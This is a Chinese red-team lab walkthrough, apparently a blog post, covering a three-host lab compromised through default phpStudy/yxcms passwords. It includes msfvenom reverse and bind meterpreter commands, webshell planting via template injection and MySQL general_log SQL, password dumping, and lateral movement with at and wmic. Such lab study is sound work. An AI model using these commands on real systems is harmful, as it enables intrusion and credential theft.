zoukankan      html  css  js  c++  java
  • ATT & CK 实战系列——红队实战(一)

    1. 环境描述

    一共三台靶机,Windows 7 x64为边界主机,配置双网卡,其中一张与攻击主机设置为同一网段;另两台server服务器位于隔离网段中。

    目标:通过边界主机,获取内网全部主机控制权。

    2. 过程流水

    2.1 边界主机

    1. 边界主机探测,使用nmap扫描已知边界主机所在网段,发现边界主机;扫描主机端口,发现开放80、3306。

    image-20200620153150393

    1. 尝试访问web页面,跳转到“phpStudy探针”页面,其中提供了测试mysql数据库连接的功能,顺手试了一个root:root(phpstudy默认密码),特么就进去了。

    image-20200620153413024

    1. 使用某剑和dirb对web进行扫描,得到phpMyAdmin应用一个、phpinfo页面一个。

    image-20200620153601045

    image-20200620153753918

    1. 利用弱口令登录phpMyAdmin发现存在”newyxcms“。

    image-20200620154140558

    1. 根据yxcms官方文档找到边界主机中的yxcms路径,同时得知默认后台管理员账号与口令。

    image-20200620154246935

    image-20200620154503755

    1. 利用默认口令登录后台。

    image-20200620154539830

    1. 在修改模板的地方找到代码注入点。

    image-20200620163547175

    1. 利用代码注入点确认文件写入权限。

    image-20200620164533988

    1. 写入webshell。

    image-20200620165814514

    1. 利用Metasploit生成回连后门

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.233.130 LPORT=80 -f exe > Desktop/shell.exe

    获得shell

    image-20200620171203689

    2.2 内网拓展

    1. 边界主机一步到位的提权。

    image-20200620171242302

    1. 在边界主机中获取内存密码明文,同时得知域控主机名为owa。(cmd切换英文:chcp 437,切换中文chcp 936

    image-20200620174233312

    1. 利用Administrator密码尝试登录域控主机,发现具有管理员权限,猜测该账号为域管账号。

    image-20200620174121485

    image-20200620174540437

    1. 确认“OWA”主机为64位。

    image-20200620182204386

    1. 查询域内主机信息,得到另外一台存活主机ROOT-TVI862UBEH(STU1是边界主机)。

      image-20200719171956826

    2. 利用掌握的账号和密码成功连接“ROOT-TVI862UBEH”主机,并确认其为32位系统。

    image-20200620182227995

    1. 构造32位的meterpreter后门。

      msfvenom -p windows/meterpreter_bind_tcp -f exe > Desktop/shell_bind.exe

      利用边界主机传递后门程序。

      image-20200719172619817

      1. 利用at命令激活后门程序。

        image-20200719172923943

      2. Metasploit设置路由。

        image-20200719173222501

      3. 使用msf进行连接,成功上线,并一键提权。

        image-20200719174214364

      4. 使用同样的思路尝试在“owa”主机部署后门文件,无法连接。

        image-20200719174652253

        利用wmic执行命令,查看后门程序是否正常运行,并检查是否存在杀毒软件。

        image-20200719175800321

        根据结果,确认后门正常运行,推测主机防火墙阻拦了后门流量。

        image-20200719180221206

        1. 通过wmic命令,添加主机4444端口入站规则,成功建立连接,并获得system权限。

          image-20200719180522292

          image-20200719180949959

    2. 至此全部三个主机都获取了最高权限。

      image-20200719181035572

    3. 其他获取立足点的方法

    3.1 创建模板文件

    登录后台,点击左侧“前台模板“--> 管理模板文件 --> 右上角新建

    image-20200823210027893

    可以直接编辑PHP脚本

    image-20200823210227448

    由于没有设置路径过滤,访问http://target/yxcms/protected/apps/default/view/default/my_shell.php即可访问到刚刚编写的脚本。

    image-20200823210415406

    3.2 利用数据库获得shell

    1. 确认mysql是否有写文件权限:没有写文件权限

      image-20200823211142719

    2. 尝试利用mysql日志写shell

    3. 查看日志状态:show variables like '%general%';

      开启日志功能:SET GLOBAL general_log='on';

      设置日志输出路径:SET GLOBAL general_log_file='C:\phpStudy\www\shell.php';

    4. 利用查询功能写入php脚本

      image-20200823211758509

    4. 总结

    1. 这个靶机环境难点在于第一个立足点的获取,控制下web主机后,内网方面障碍不大,只有一道防火墙,并没有安全装杀毒软件。
    2. 还是没有搞清楚这个模板是怎么加载的,试着用调试器跟了一下代码,在Route的时候就把自己绕晕了,PHP框架这块还是得深入学一下。
    3. 控制主机后没有细致的搜集信息,潜意识里认为是靶机环境,就不管影响大不大,直接跑命令,下一个靶机环境一定要慎重,同时要看看执行操作的时候靶机日志。
    • 我是谁:这台主机的信息
    • 我在哪:当前网络所在的逻辑位置
    • 这是哪:当前网络拓扑
    • 主机信息搜集:设置一个黑盒环境(假设仅知道这个web站点,最终要获得网络内所有主机的管理员权限:web主机突破,其他主机探测,其他主机突破)
      • 当前用户
      • 杀毒软件
      • 主机上都有哪些用户
      • 主机和哪些主机相互通信
    1. 网上很多文章都是利用CS作为shell管理工具,这个目前还没接触过,下一个靶机要拿CS和PowerSploit来试试看。

    其他人的解法:
    参考答案
    参考答案二

  • 相关阅读:
    软件缺陷管理流程
    JMeter学习(三十五)使用jmeter来发送json/gzip格式数据
    如何转做测试管理?
    新加入一个团体,如何能尽快的展开测试工作(转载)
    JMeter学习(三十四)测试报告优化
    Jmeter学习(三十三)调试工具Debug Sampler
    java设计模式
    Android Studio提示 Connection reset
    加速Android Studio编译速度
    Exception in thread "main" java.lang.StackOverflowError at java.util.ArrayList$SubList.rangeCheckForAdd(Unknown Source)
  • 原文地址:https://www.cnblogs.com/ph1sh/p/13550995.html
Copyright © 2011-2022 走看看